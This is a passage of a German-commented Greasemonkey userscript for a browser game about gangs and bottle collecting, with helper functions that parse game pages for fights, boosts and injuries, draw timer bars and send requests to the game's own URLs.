// ***********************************************************************************************
// Entfernt Leerraum aus einen String (Anfang und Ende)
// ***********************************************************************************************
// ***********************************************************************************************
function trimString(s) {
    return s.replace(/^\s+|\s+$/g,'');
}

// **********************************************************************************
// **********************************************************************************
// Funktion ermittelt die Anzahl eintreffender Kämpfe
// **********************************************************************************
// **********************************************************************************
function GetIncomingFights(content) {
    function CalcEvade(f_points) {
        return Math.round(( ( Math.pow(m_ownpoints, 0.75) ) + (f_points * 0.005) ) * 0.1);
    }
    var fights = new Array();
    try {
        // Seiteninhalt aufsplitten mit dem Namen des Icons, das für eintreffende Kämpfe verwendet wird;
        // Anzahl der Teile des Splittings - 1 ist die Anzahl eintreffender Kämpfe
        var splitted = content.split('id="content"')[1].split(ICON_WARNING);
        for (i = 0; i < splitted.length - 1; i++) {
            var tds = splitted[i + 1].split('<td');
            var time = tds[1].split('>')[1].split('<')[0];
            var attacker = tds[2].split('>')[2].split('<')[0];
            var ausweich = tds[4].indexOf(TxtSicher[lang]) != -1?"V":tds[4].indexOf(TxtAusweich[lang]) != -1?"A":"N";
            if (ausweich == "A")
                ausweich += ":" + CalcEvade(parseInt(tds[4].split(',')[1].split("'")[1]));
            fights.push(new Array(time, attacker, ausweich));
        }
 // var fighttext = "14:59:00 riffi#N/15:00:00 Hetzjagd#N/15:00:00 U-Bahnkellner86#N/15:00:01 Max_von_ne_Weide#N/15:00:02 Gammelsuse2#N/";
 // fighttext += "15:01:00 DerPablo#N/15:01:00 Jens_Harald#N/15:02:00 Winnetu_Kowalski#N/15:03:01 Cherie110#N/15:04:02 attn#N/";
 // fighttext += "15:05:00 Schmuddelella#N/15:06:00 DanyNDK#N/15:07:00 AsbachMoni#N/15:07:01 letta#N/15:07:02 WWWWWWMMMMWMMMWMMMWWW#N/";
 // fighttext += "15:08:00 oberassipeter#N/15:09:00 Detlef_d_Durst#N/15:09:01 Palettenschorsch#N/15:09:02 Kaufhausdieb#N/15:09:03 Obdachlosen_Jimmy#N/";
 // fighttext += "15:09:19 Der_sich_in_die_Hose_kakkt#V/15:09:22 Das_Stuttgarterweib#V/15:09:23 Gammelsuse2#N/";
 // fighttext = fighttext.split("/").slice(0, -1);
 // for (var i = 0; i < fighttext.length; i++) {
 //     var split1 = fighttext[i].split('#');
 //     var split2 = split1[0].split(' ');
 //     fights.push(new Array(split2.splice(0, 1)[0], split2.join(" "), split1[1]));
 //     }
        return fights;
    } catch(err) {
        GM_log("Fehler beim Ermitteln der Zahl eintreffender Kämpfe: " + err);
    }
    return fights;
}

// **********************************************************************************
// **********************************************************************************
// Funktion ermittelt die aktuellen Bandenkampfresultate
// **********************************************************************************
// **********************************************************************************
function GetGangFightInfo(content) {
    try {
        // Anzahl der Bandenkämpfe ermitteln
        var NrOfGangFights = content.split('<a href="/gang/fight/view/').length - 1;
        // HTML nach Gegnerbanden splitten
        GangFightGangs = content.split('<td height="29" style="vertical-align:middle;"');
        // HTML nach Resultaten splitten
        GangFightResults = content.split('<td style="vertical-align:middle;"><div align="center" class="drop_font"><strong>');

        // Textvariable für Bandenkampfinfo initialisieren
        var GangFightInfo = "";

        // Für alle Bandenkämpfe
        for (i = 1; i <= NrOfGangFights; i++) {
            // Aktuelles Resultat in die Textvariable hinzufügen
            if (GangFightGangs[i].indexOf("&nbsp") != -1)
                GangFightGangs[i] = GangFightGangs[i].split("&nbsp;")[1];
            GangFightInfo = GangFightInfo + " *** " + GangFightGangs[i].split('</')[0] + " " + GangFightResults[i].split('</strong></div></td>')[0];
        }

        // Bandenkampf-Infotext zurückgeben
        return GangFightInfo;
    } catch(err) {
        GM_log("Fehler beim Ermitteln der aktuellen Bandenkampfresultate: " + err);
    }
}

// **********************************************************************************
// **********************************************************************************
// Funktion ermittelt die Anzahl Bandenkämpfe
// **********************************************************************************
// **********************************************************************************
function GetNumberOfGangFights(content) {
    try {
        // Seiteninhalt aufsplitten mit dem Namen des Icons, das für eintreffende Kämpfe verwendet wird;
        // Anzahl der Teile des Splittings - 1 ist die Anzahl eintreffender Kämpfe
        return content.split('<a href="/gang/fight/view/').length - 1;

    } catch(err) {
        GM_log("Fehler beim Ermitteln der Zahl von Bandenkämpfen: " + err);
    }
}

// **********************************************************************************
// **********************************************************************************
// Funktion ermittelt den Bandennamen aus einer übergebenen Tabellenzeile
// **********************************************************************************
// **********************************************************************************
function GetGangnameFromTable(gangtr) {
    try {
        // Inhalt der ersten Zelle auslesen
        var gangname = gangtr.getElementsByTagName("td")[0].innerHTML;
        if (gangname.substr(0,4) == "<div")
            gangname = gangtr.getElementsByTagName("td")[0].getElementsByTagName("div")[0].innerHTML;
        // "&nbsp;" am Anfang entfernen und Wert zurückgeben
        gangname = gangname.substr(6);

        return gangname;
    } catch(err) {
        GM_log("Fehler beim Ermitteln des Bandennamens: " + err);
    }
}

// **********************************************************************************
// **********************************************************************************
// Funktion ermittelt die Banden-IDs und überführt die Bandennamen in Links auf die
// Bandenprofile
// **********************************************************************************
// **********************************************************************************
function LinkifyGangnames(gangtr) {

    // Ermitteln des Bandennamens aus der aktuellen Tabellenzeile
    var gangname = GetGangnameFromTable(gangtr);

    // Wenn der Bandenname nicht die Benachrichtigung über "keine laufenden Kämpfe" ist
    if (gangname.indexOf(TxtNoGangFights[lang]) == -1) {
        // Für die Suche werden Spaces durch "+" ersetzt
        var gangnamesearch = gangname.replace(/ /g, "+");
        while (gangnamesearch.length < 4)
            gangnamesearch += "%";
        gangnamesearch = gangnamesearch.replace(/&amp;/g, "%26");
// Weitere Zeichenersetzungen, die noch getestet werden müssen
//        gangnamesearch = gangnamesearch.replace(/$/g, "%24");
//        gangnamesearch = gangnamesearch.replace(/@/g, "%40");
//        gangnamesearch = gangnamesearch.replace(/+/g, "%2B");

        // **********************************************************************************
        // *** GM_XMLHTTPREQUEST *** Abrufen der Bandensuchseite
        // **********************************************************************************
        GM_xmlhttpRequest({method: 'GET', url: GANGSEARCH_URL + gangnamesearch + "&min=&max=", onload: function(responseDetails) {
                try {
                    // Content der Bandensuchseite speichern
                    var content = responseDetails.responseText;


                    // Extrahieren der Banden-ID
                    var gangid = content.split('hs_bande')[1];
                    gangid = gangid.split('</table>')[0];

                    gangname = gangname.replace(/&amp;/g, "&");

                    if (gangid.indexOf(gangname) != -1) {
                        gangid = gangid.split('/">' + gangname + '</a>')[0];
                        gangid = gangid.split(":");
                        gangid = gangid[gangid.length - 1];

                        // Zusammenbauen eines Links auf das Bandenprofil und in die aktuelle Tabellenzeile einfügen (Ersetzen des Textes)
                        gangtr.getElementsByTagName("td")[0].innerHTML = '&nbsp;<a href="/profil/bande:' + gangid + '/" target="_blank">' + gangname + '</a>';
                    } else {
                        GM_log("Bandenname '" + gangname + "' konnte im HS nicht gefunden werden.");
                    }
                } catch (err) {
                    GM_log("Fehler beim Verlinken des gegnerischen Bandenprofils: " + err);
                }
            }
        });
    }
}

// ***********************************************************************************************
// ***********************************************************************************************
// Funktion liefert vom String str die rechtesten n Zeichen zurück
// ***********************************************************************************************
// ***********************************************************************************************
function Right$(str, n){
    if (n <= 0)
        return "";
    else if (n > String(str).length)
        return str;
    else {
        var iLen = String(str).length;
        return String(str).substring(iLen, iLen - n);
    }
}

// **********************************************************************************
// **********************************************************************************
// Funktion prüft, ob die aktuelle Seite die Plunderseite ist
// **********************************************************************************
// **********************************************************************************
function IsPlunderPage() {
    // Aktuelle Seiten-URL ermitteln
    var currentURL = location.toString();

    // Wenn es sich bei der aktuellen Seite um die Plunderseite handelt
    if (currentURL.endsWith("/stock/plunder/?success") || currentURL.endsWith("/stock/plunder/")) {
        // True zurückgeben
        return true;
    } else {
        // False zurückgeben
        return false;
    }
}

// **********************************************************************************
// **********************************************************************************
// Funktion prüft, ob die aktuelle Seite die Bastelseite ist
// **********************************************************************************
// **********************************************************************************
function IsCraftPage() {
    // Aktuelle Seiten-URL ermitteln
    var currentURL = location.toString();

    // Wenn es sich bei der aktuellen Seite um die Plunderseite handelt
    if (currentURL.indexOf("/craft/?status=") != -1  || currentURL.endsWith("/craft/")) {
        // True zurückgeben
        return true;
    } else {
        // False zurückgeben
        return false;
    }
}

// **********************************************************************************
// **********************************************************************************
// Funktion prüft, ob die aktuelle Seite die Loseseite ist
// **********************************************************************************
// **********************************************************************************
function IsGamePage() {
    // Aktuelle Seiten-URL ermitteln
    var currentURL = location.toString();

    // Wenn es sich bei der aktuellen Seite um die Loseseite handelt
    if (currentURL.indexOf("/city/games/") != -1) {
        // True zurückgeben
        return true;
    } else {
        // False zurückgeben
        return false;
    }
}

// **********************************************************************************
// **********************************************************************************
// Funktion prüft, ob die aktuelle Seite die V-Waffenseite ist
// **********************************************************************************
// **********************************************************************************
function IsDefWeaponPage() {
    // Aktuelle Seiten-URL ermitteln
    var currentURL = location.toString();

    // Wenn es sich bei der aktuellen Seite um die V-Waffenseite handelt
    if (currentURL.indexOf("/city/weapon_store/def/") != -1) {
        // True zurückgeben
        return true;
    } else {
        // False zurückgeben
        return false;
    }
}

// **********************************************************************************
// **********************************************************************************
// Funktion prüft, ob die aktuelle Seite die Nachrichtenseite ist
// **********************************************************************************
// **********************************************************************************
function IsMessagesPage() {
    // Aktuelle Seiten-URL ermitteln
    var currentURL = location.toString();

    // Wenn es sich bei der aktuellen Seite um die Nachrichtenseite handelt
    if (currentURL.endsWith("/messages/") || currentURL.match(/\/messages\/\d+\//) != null) {
        // True zurückgeben
        return true;
    } else {
        // False zurückgeben
        return false;
    }
}

// **********************************************************************************
// **********************************************************************************
// Funktion ermittelt, ob die aktuelle Seite die fight-Seite "*/fight/" ist
// **********************************************************************************
// **********************************************************************************
function IsFightPage() {
    // Aktuelle Seiten-URL ermitteln
    var currentURL = location.toString();

    // Wenn die aktuelle Seiten-URL mit "/fight/" endet: True zurückgeben
    return (!currentURL.endsWith("/gang/fight/") && currentURL.endsWith("/fight/"));
}

// **********************************************************************************
// **********************************************************************************
// Funktion ermittelt, ob die aktuelle Seite die overview-Seite "*/overview/" ist
// **********************************************************************************
// **********************************************************************************
function IsOverviewPage() {
    // Aktuelle Seiten-URL ermitteln
    var currentURL = location.toString();

    // Wenn die aktuelle Seiten-URL mit "/overview/" endet: True zurückgeben
    return (currentURL.endsWith("/overview/") && !currentURL.endsWith("/fight/overview/"));
}

// **********************************************************************************
// **********************************************************************************
// Funktion ermittelt, ob die aktuelle Seite die Bandenkampfseite "*/gang/fight/"
// ist (nur dort soll LinkifyGangnames wirken)
// **********************************************************************************
// **********************************************************************************
function IsFightOverviewPage() {
    // Aktuelle Seiten-URL ermitteln
    var currentURL = location.toString();

    // Wenn die aktuelle Seiten-URL mit "/gang/fight/" endet: true zurückgeben
    return (currentURL.endsWith("/gang/fight/"));
}

// **********************************************************************************
// **********************************************************************************
// Funktion ermittelt, ob die aktuelle Seite die gang-Seite "*/gang/" ist
// **********************************************************************************
// **********************************************************************************
function IsGangPage() {
    // Aktuelle Seiten-URL ermitteln
    var currentURL = location.toString();

    var page = 0;
    if (oldVersion) {
        // Wenn die aktuelle Seiten-URL mit "/gang/" oder "/gang/xxx/" endet: xxx zurückgeben
        if (currentURL.endsWith("/gang/"))
            return 1;

        for (var pos = currentURL.length - 2; pos > 0; pos--)
            if (isNaN(currentURL.substr(pos, 1))) {
                if (currentURL.substr(0, pos+1).endsWith("/gang/"))
                    page = currentURL.substr(pos+1, currentURL.length - pos - 2);
                break;
            }
    } else {
        var pos = document.getElementsByTagName("html")[0].innerHTML.indexOf('class="pagebutton"');
        if (pos > 0) {
            var tpage = document.getElementsByTagName("html")[0].innerHTML.substr(pos,100).split('>')[1].split('<')[0].split(' ')[1];
            if (!isNaN(tpage))
                page = Number(tpage);
        }
    }
    return page;
}

// **********************************************************************************
// **********************************************************************************
// Funktion ermittelt, ob es Neuigkeiten beim Bandenkampf gibt
// **********************************************************************************
// **********************************************************************************
function CheckNewsFromGangFight(GangFightInfo) {
    var currentGangFightInfo = PGu_getValue("GangFightInfo","");

    // Wenn sich die Info geändert hat
    if (currentGangFightInfo != GangFightInfo) {
        // Setze das Änderungsflag
        PGu_setValue("GangFightInfoFlag", true);
    }
}

// **********************************************************************************
// **********************************************************************************
// Funktion setzt die Neuigkeiten vom Bandenkampf zurück
// **********************************************************************************
// **********************************************************************************
function ResetNewsFromGangFight(GangFightInfo) {
    // Setze GangFightInfo auf den aktuellen Stand
    PGu_setValue("GangFightInfo", GangFightInfo);
    // Setze das Flag zurück
    PGu_setValue("GangFightInfoFlag", false);
}

// ***********************************************************************************************
// ***********************************************************************************************
// Funktion ermittelt den ATT- oder DEF-Wert aus der übergebenen Zeile
// ***********************************************************************************************
// ***********************************************************************************************
function GetValueFromRow(currenttr) {
    return currenttr.getElementsByTagName("td")[1].innerHTML.split("<a class")[0];
}

// **********************************************************************************
// **********************************************************************************
// Funktion wandelt einen HTML-Content in ein DOM um
// **********************************************************************************
// **********************************************************************************
function HTML2DOM(content) {

    var dummyDiv = document.createElement('div');
    dummyDiv.innerHTML = content;

    return dummyDiv;
}

// ***********************************************************************************************
// ***********************************************************************************************
// Funktion überprüft, ob eine ATT-Steigerung vorliegt
// ***********************************************************************************************
// ***********************************************************************************************
function HasATTBoost(content) {
    var doc = HTML2DOM(content);
    var buffs = doc.getElementsByClassName("style_buff");

    // Wenn die Klasse vorhanden ist, die Steigerungen beinhaltet
    if (buffs.length > 0) {
        // Wenn im Text "ATT" oder "DEF" vorkommt (ist beim Minibrunnen nicht der Fall)
        if (buffs[0].parentNode.innerHTML.indexOf(TxtATTBoost[lang]) != -1 || buffs[0].parentNode.innerHTML.indexOf(TxtDEFBoost[lang]) != -1) {
            return true;
        // sonst: Im Text kommt nicht "ATT" vor (ist beim Minibrunnen der Fall)
        } else {
            return false;
        }
    // sonst: Die Klasse, die Steigerungen beinhaltet, ist nicht vorhanden
    } else {
        return false;
    }
}

// ***********************************************************************************************
// ***********************************************************************************************
// Funktion ermittelt die Höhe der ATT-Steigerung
// ***********************************************************************************************
// ***********************************************************************************************
function GetATTBoost(content) {

    // Wenn eine ATT-Stärkung vorliegt
    if (HasATTBoost(content)) {
        var attboost = content.split("<span><b>" + TxtBoost[lang] + "</b>")[1];
        if (attboost.indexOf(TxtATTBoost[lang]) != -1) {
            attboost = attboost.split(TxtATTBoost[lang])[1];
            attboost = attboost.split("<br")[0];
            return attboost;
        }
        else {
            return 0;
        }
    // sonst: Es liegt keine ATT-Stärkung vor
    } else {
        return 0;
    }
}

// ***********************************************************************************************
// ***********************************************************************************************
// Funktion überprüft, ob eine Verletzung vorliegt
// ***********************************************************************************************
// ***********************************************************************************************
function HasInjury(content) {
    var doc = HTML2DOM(content);
    var buffs = doc.getElementsByClassName("style_injury");

    // Wenn die Klasse vorhanden ist, die Verletzungen beinhaltet
    if (buffs.length > 0) {
        // Wenn im Text "ATT" oder "DEF" vorkommt
        if (buffs[0].parentNode.innerHTML.indexOf(TxtATTBoost[lang]) != -1 || buffs[0].parentNode.innerHTML.indexOf(TxtDEFBoost[lang]) != -1) {
            return true;
        // sonst: Im Text kommt nicht "ATT" oder "DEF" vor
        } else {
            return false;
        }
    // sonst: Die Klasse, die Verletzungen beinhaltet, ist nicht vorhanden
    } else {
        return false;
    }
}

// ***********************************************************************************************
// ***********************************************************************************************
// Funktion ermittelt die Höhe der ATT-Schwächung
// ***********************************************************************************************
// ***********************************************************************************************
function GetInjury(content) {

    // Wenn eine ATT/DEF-Schwächung vorliegt
    if (HasInjury(content)) {
        var injboost = content.split("<span><b>" + TxtInjury[lang] + "</b>")[1];
        if (injboost.indexOf(TxtATTBoost[lang]) != -1) {
            injboost = injboost.split(TxtATTBoost[lang])[1];
            injboost = injboost.split("<br")[0];
            return injboost;
        }
        else if (injboost.indexOf(TxtDEFBoost[lang]) != -1) {
            injboost = injboost.split(TxtDEFBoost[lang])[1];
            injboost = injboost.split("<br")[0];
            return injboost;
        }
        else {
            return 0;
        }
    // sonst: Es liegt keine ATT/DEF-Schwächung vor
    } else {
        return 0;
    }
}

// ***********************************************************************************************
// ***********************************************************************************************
// Funktion ermittelt die Höhe der DEF-Steigerung
// ***********************************************************************************************
// ***********************************************************************************************
function GetDEFBoost(content) {
    // Wenn eine DEF-Stärkung vorliegt
    if (HasATTBoost(content)) {
        var defboost = content.split("<span><b>" + TxtBoost[lang] + "</b>")[1];
        if (defboost.indexOf(TxtDEFBoost[lang]) != -1) {
            defboost = defboost.split(TxtDEFBoost[lang])[1];
            defboost = defboost.split("<br>")[0];
            return defboost;
        } else {
            return 0;
        }
    // sonst: Es liegt keine DEF-Stärkung vor
    } else {
        return 0;
    }
}

// ***********************************************************************************************
// ***********************************************************************************************
// Baut Zusatzinfo zusammen
// ***********************************************************************************************
// ***********************************************************************************************
function makeAddInfo() {
    var addInfo = "";
    if (weaponcheck1 != "" && weaponcheck1 != undefined)
        addInfo += ' ' + weaponcheck1 + '.';
    if (weaponcheck2 != "" && weaponcheck2 != undefined)
        addInfo += ' ' + weaponcheck2 + '.';
    if (homecheck != "" && homecheck != undefined)
        addInfo += ' ' + homecheck + '.';
    if (plundercheck != "" && plundercheck != undefined)
        addInfo += ' ' + plundercheck + '.';
    return addInfo;
}

// ***********************************************************************************************
// ***********************************************************************************************
// Berechnet aus ATT und DEF die Kampfkraft
// ***********************************************************************************************
// ***********************************************************************************************
function GetPower(attvalue, defvalue) {
    return (Number(attvalue) * 1.1 + Number(defvalue)).toFixed(2);
}

// **********************************************************************************
// **********************************************************************************
// bringt eine Warnung, wenn ein Kampf läuft und die Stärke nicht optimal ist
// **********************************************************************************
// **********************************************************************************
function showFightAlert() {
    if (attid == 0 || bl("fi") || FightWeakAlert == 0)
        return;
    if (PGu_getValue("fightweak", "") != attid || IsTimeToCheck(TOWNEXTENSION + "weakfight" + m_ownuserid, 10, "x")) {
        PGu_setValue("fightweak", attid);
        alert(getLangTxt(TxtWeakFight));
    }
}

// **********************************************************************************
// **********************************************************************************
// Vergleicht die aktuelle Stärke mit der Max-Stärke und setzt das richtige Icon
// **********************************************************************************
// **********************************************************************************
function ComparePower(attvalue, defvalue, promille) {

    // Kampfkraft errechnen
    var fightpower = GetPower(attvalue, defvalue)

    // Auslesen des bisherigen Maximalwertes
    var powermaxvalue = Number(PGu_getValue("PowerMaxValue", 0));

    // Wenn die aktuelle Kampfkraft größer als der bisherige Maximalwert ist
    if (fightpower > powermaxvalue) {
        // Größte Kampfkraft hochsetzen
        PGu_setValue("PowerMaxValue", fightpower.toString());
    }

    // Wenn der Promillewert zu hoch ist
    if (promille >= 4) {
        ShowFightStateIcon(FIGHTSTATE_DANG, fightpower, powermaxvalue);
    // Wenn die aktuelle Kampfkraft größer oder gleich der bislang größten ist
    } else if (fightpower >= powermaxvalue || bl("fi")) {
        ShowFightStateIcon(FIGHTSTATE_OK, fightpower, powermaxvalue);
    // sonst: Die aktuelle Kampfkraft ist kleiner als die bislang größte
    } else {
        ShowFightStateIcon(FIGHTSTATE_WEAK, fightpower, powermaxvalue);
        logoutWarn = 2;
        showFightAlert();
    }
}

// **********************************************************************************
// **********************************************************************************
// Funktion fügt den Handler zum Trikotanzeige ausschalten ein
// **********************************************************************************
// **********************************************************************************
function TrikotAusHandler(currentelem) {
    currentelem.style.cursor = 'pointer';

    // **********************************************************************************
    // EVENTHANDLER
    // **********************************************************************************
    currentelem.addEventListener('click', function(event) {
                            PGu_setValue("TrikotanzeigeAus", 1);
                            refreshPage();
    },false);
}

// **********************************************************************************
// **********************************************************************************
// Funktion gibt eine Meldung aus
// **********************************************************************************
// **********************************************************************************
function showMsg(title, text, pic){        //meldung - ueberschrift, hinweistext, bild
    window.setTimeout("PgFunction.showMsg($('notifyme'), '"+title+"', '<b>"+text+"</b>', '"+pic+"')", 500);
}

// **********************************************************************************
// **********************************************************************************
// Funktion erzeugt eine formatierte Zeitangabe
// **********************************************************************************
// **********************************************************************************
function FmtInfo(jetzt, end_time) {
    if (jetzt > 0) {
        var rest = end_time - jetzt;
        if (rest <= 0)
            rest = "0:00";
        else {
            var days = Math.floor(rest/86400);
            var hours = Math.floor((rest % 86400)/3600);
            var mins = Math.floor((rest % 3600)/60);
            var secs = rest % 60;
            secs = ":" + Right$(secs + 100,2);
            if (hours != 0 || days != 0)
                mins = ":" + Right$(mins+100, 2);
            if (days == 0) {
                days = "";
                if (hours == "0")
                    hours = "";
            }
            else
                days += " Tag" + (days > 1?"e ":" ");
            rest = days + hours + mins + secs;
        }
    }
    else
        var rest = "";
    var enddate = new Date();
    enddate.setTime(end_time * 1000);
    return rest + getLangTxt(TxtEnd) + FormatDate(enddate) + " " + FormatTime(enddate);
}

// **********************************************************************************
// **********************************************************************************
// Funktion erzeugt einen Zeitbalken mit Restzeitanzeige
// **********************************************************************************
// **********************************************************************************
function DispZeit(jetzt, cnt, url, Txt, back, id, x, y, z, maxTime, maxwidth) {
    function mod (a, b) { return a - Math.floor(a/b)*b; }
    if (cnt.innerHTML.indexOf("counter") == -1)
        var rtime = 0;
    else
        var rtime = Number(cnt.innerHTML.split("counter(")[1].split(")")[0].split(',')[0]);
    jetzt = Math.floor(jetzt.getTime()/1000);
    var end_time = jetzt + rtime;
    var minuten = mod(Math.floor(rtime/60), 60) + 100 + ":";
    var text = getLangTxt(Txt);
    if (text.indexOf("%ds") != -1) {
        text = text.replace("%ds", "%s");
        var tage = Math.floor(rtime/86400);
        tage = (tage == 0 ? "": tage + " Tag" + (tage != 1?"e":"") + " ");
        var stunden = Math.floor(mod(rtime, 86400)/3600) + ":";
    }
    else {
        var tage = "";
        var stunden = Math.floor(rtime/3600) + ":";
    }
    var sekunden = mod(rtime, 60) + 100 + "";
    var zeit = tage + stunden + minuten.slice(1) + sekunden.slice(1);
    var enddate = new Date();
    enddate.setTime(end_time * 1000);
    enddate = FormatDate(enddate) + " " + FormatTime(enddate);
    text = printf(text, zeit, enddate);
    if (!document.getElementById(back+"img"))
        return;
    var width = Math.ceil(maxwidth / maxTime * rtime);
    ShowImg (back, url, get_icon("plunderb"), text, maxwidth, 5, x, y, z, id+'bg');
    if (width > 0)
        ShowImg (back, url, get_icon("clean"), text, width, 5, x, y, z+1, id+'fg');
    var actTime = function () {
        var now = new Date();
        now = Math.floor(now.getTime()/1000);
        var rtime2 = rtime - (now - jetzt);
        var minuten = mod(Math.floor(rtime2/60), 60) + 100 + ":";
        var text = getLangTxt(Txt);
        if (text.indexOf("%ds") != -1) {
            text = text.replace("%ds", "%s");
            var tage = Math.floor(rtime2/86400);
            tage = (tage == 0 ? "": tage + " Tag" + (tage != 1?"e":"") + " ");
            var stunden = Math.floor(mod(rtime2, 86400)/3600) + ":";
        }
        else {
            var tage = "";
            var stunden = Math.floor(rtime2/3600) + ":";
        }
        var sekunden = mod(rtime2, 60) + 100 + "";
        var zeit = tage + stunden + minuten.slice(1) + sekunden.slice(1);
        text = printf(text, zeit, enddate);
        document.getElementById(id+'bg').title = text;
        if (document.getElementById(id+'fg'))
            document.getElementById(id+'fg').title = text;
    }
    document.getElementById(id+'bg').addEventListener('mouseover', actTime, false);
    if (document.getElementById(id+'fg'))
        document.getElementById(id+'fg').addEventListener('mouseover', actTime, false);
    var actBalk = function () {
        var now = new Date();
        now = Math.floor(now.getTime()/1000);
        var rtime2 = rtime - (now - jetzt);
        if (rtime2 <= 0) {
            refreshPage();
            return;
        }
        var nwidth = Math.ceil(maxwidth/maxTime*rtime2);
        if (document.getElementById(id+'fg'))
            document.getElementById(id+'fg').width = nwidth;
        var nextDecr = Math.floor(mod(rtime2, maxTime/maxwidth) * 1000);
        if (nextDecr < 500)
            nextDecr = 500;
        window.setTimeout(actBalk, nextDecr);
    }
    if (rtime > 0) {
        var nextDecr = Math.floor(mod(rtime, maxTime/maxwidth) * 1000);
        if (nextDecr < 500)
            nextDecr = 500;
        window.setTimeout(actBalk, nextDecr);
    }
}
// **********************************************************************************
// **********************************************************************************
// Funktion zeigt den Minijob an
// **********************************************************************************
// **********************************************************************************
function ShowMiniJob(contover) {
    // Aus HTML ein DOM-Objekt erzeugen
    var doc = HTML2DOM(contover);
    var el = doc.getElementsByClassName("double");
    if (el.length < 2)
        return;
    var div = el[el.length-2];
    if (div.innerHTML.indexOf("/overview/music_payout/") == -1)
        return;
    var job = div.getElementsByTagName("li")[0].innerHTML;
    var input = div.getElementsByTagName("li")[2].getElementsByTagName("input");
    var money = 0;
    for (var i = 0; i < input.length; i++)
        if (input[i].type == "submit") {
            money = div.getElementsByTagName("li")[2].getElementsByTagName("input")[i].value.split(" ")[0];
            break;
        }
    var titletext = div.getElementsByTagName("h4")[0].innerHTML + ": " + trimString(job) + ", Verdienst bisher: " + money;
    FeedbackHandler('AD');
    div = el[el.length-1];
    var li = div.getElementsByTagName("li");
    var timetext = li[li.length-1].innerHTML.replace("<br>", "");
    if (timetext.indexOf('"rot"') == -1) {
        var t1 = timetext.split(">")[0].split("<")[0];
        var t2 = timetext.split(">")[2];
        var txt = new Array(t1+"%ds"+t2+"(%s)");
        if (JobEndAlert == 1) {
            var fass = contover.split("Fassungsverm")[1].match(/[\d.,]+/);
            var maxmoney = Number(fass[0].replace(/[.,]/g,''));
            var mon = contover.split('class="icon money"')[1].split("</a>")[0];
            var money = Number(mon.split(">").pop().match(/[\d,.]+/)[0].replace(/[.,]/g, ''));
            var salary = Number(content.split(" jetzt einsacken")[0].match(/[\d,.]+/g).pop().replace(/[.,]/g, ''));
            if (salary > maxmoney)
                if (IsTimeToCheck(TOWNEXTENSION + "LastJobWarn" + m_ownuserid, 10, "x"))
                    alert("Dein Verdienst ist höher als Dein Behälter aufnehmen kann. Bitte Verdienst abholen!!");
            else if (salary > maxmoney - 100000)
                if (IsTimeToCheck(TOWNEXTENSION + "LastJobWarn" + m_ownuserid, 10, "x"))
                    alert("Dein Verdienst erreicht demnächst das Fassungsvermögen Deines Behälters !!");
        }
    }
    else {
        var txt = new Array(timetext.split(">")[2].split("<")[0]);
        if (JobEndAlert == 1)
            if (IsTimeToCheck(TOWNEXTENSION + "LastJobWarn" + m_ownuserid, 10, "x"))
                alert(txt);
    }
    var jetzt = new Date();

    // **********************************************************************************
    // *** GM_XMLHTTPREQUEST *** Abfragen der Abholzeit des Minijobs
    // **********************************************************************************
    GM_xmlhttpRequest({method:"GET", url: MINIJOBS_URL, onload:function(responseDetails) {
            var content = responseDetails.responseText;

            // Aus HTML ein DOM-Objekt erzeugen
            var doc = HTML2DOM(content);

            var tables = doc.getElementsByTagName("table");
            for (var i = 0; i < tables.length; i++) {
                // Referenz auf Tabellenzeilen in trs speichern
                var trs = tables[i].getElementsByTagName("tr");
                if (trs.length == 0)
                    continue;
                var tds = trs[0].getElementsByTagName("td");
                if (tds.length < 2)
                    continue;
                var img = tds[0].getElementsByTagName("img")[0].src;
                ShowImg('ADBACK', MINIJOBS_URL, img, titletext, 39, 39, 85, 11, 1, 'defweapon');
                var spans = tds[1].getElementsByTagName("span");
                if (spans.length == 0)
                    continue;
                if (spans[0].innerHTML != job)
                    continue;
                var text = trs[1].innerHTML.split("<b>")[1];
                text = text.split("</b>")[0];
                var menge = text.match(/\d+ \w+/);
                if (menge.length == 0)
                    continue;
                var dauer = menge[0].split(" ");
                dauer = dauer[0] * (dauer[1] == "Tage"?86400:3600);
                DispZeit(jetzt, li[li.length-1], MINIJOBS_URL, txt, "ADBACK", "minijob", 85, 47, 1, dauer, 34);
                break;
            }
        }
    });
}

// **********************************************************************************
// **********************************************************************************
// Funktion ermittelt die aktuellen Skillwerte etc.
// **********************************************************************************
// **********************************************************************************
function GetAllValues(attvalue, defvalue) {
    // **********************************************************************************
    // *** GM_XMLHTTPREQUEST *** Abfragen des Flaschensammelstatus
    // **********************************************************************************
    GM_xmlhttpRequest({method:"GET", url: TOWNBASE_URL+'activities/', onload:function(responseDetails) {
            function cart_leeren(){
                GM_xmlhttpRequest({
                    method: 'POST',
                    url: TOWNBASE_URL+'activities/bottle/',
                    headers: {'Content-type': 'application/x-www-form-urlencoded'},
                    data: encodeURI('bottlecollect_pending=True'),
                    onload: function(responseDetails) {
                        var content = responseDetails.responseText;
                        if (content.indexOf('my-profile') == -1){
                            cart_leeren()
                            return;
                        }
                        if (content.indexOf('name="xycoords"') != -1) {
                            if (content.indexOf('name="bottlecollect_pending"') == -1) {
                                var ntext = content.indexOf('id="ntext"');
                                var p1 = content.indexOf("<p>", ntext);
                                var p2 = content.indexOf("</p>", p1);
                                var menge = content.substring(p1, p2).match(/\d+/);
                                showMsg('Information', printf(getLangTxt(TxtEmptied), menge), 'bottle');
                                if (location.toString.endsWith("activities/bottle/"))
                                    window.setTimeout("window.location.href = window.location.protocol + '//' + window.location.host + '/activities/'", 2000);
                                else
                                    window.setTimeout("document.location.reload()", 2000);
                            }
                            else {
                                cart_leeren()
                                return;
                            }
                        }
                    }
                });
            }
            // **********************************************************************************
            // EVENTHANDLER
            // **********************************************************************************
            function event_empty(event) {
                var cart = document.getElementById('cart');
                cart.removeEventListener('click', event_empty, false);
                // Wartecursor anzeigen
                CursorWait(cart, true);
                cart_leeren();
            }

            var content = responseDetails.responseText;

            // Cleanliness ermitteln
            clpos = content.indexOf('<a class="tool');
            if (clpos < 0)
                return;
            var cltext = content.substr(clpos).split("|")[1].split(":")[1];
            clean = parseInt(cltext);

            if (content.indexOf('bottlecollect') != -1) {
                ShowImg ('SCBACK', '', get_icon("redbg"), '', '', '', 84, 13, 4, 'cartbg');
                var cart = ShowImg ('SCBACK', '', get_icon("cart"), getLangTxt(TxtCart), 25, 25, 90, 20, 5, 'cart');
                if (cart == null)
                    return;
                cart.style.cursor = 'pointer';

                // **********************************************************************************
                // EVENTHANDLER
                // **********************************************************************************
                cart.addEventListener('click', function(event) {
                    // Wartecursor anzeigen
                    CursorWait(this, true);
                    cart_leeren();
                },false);
            } else {
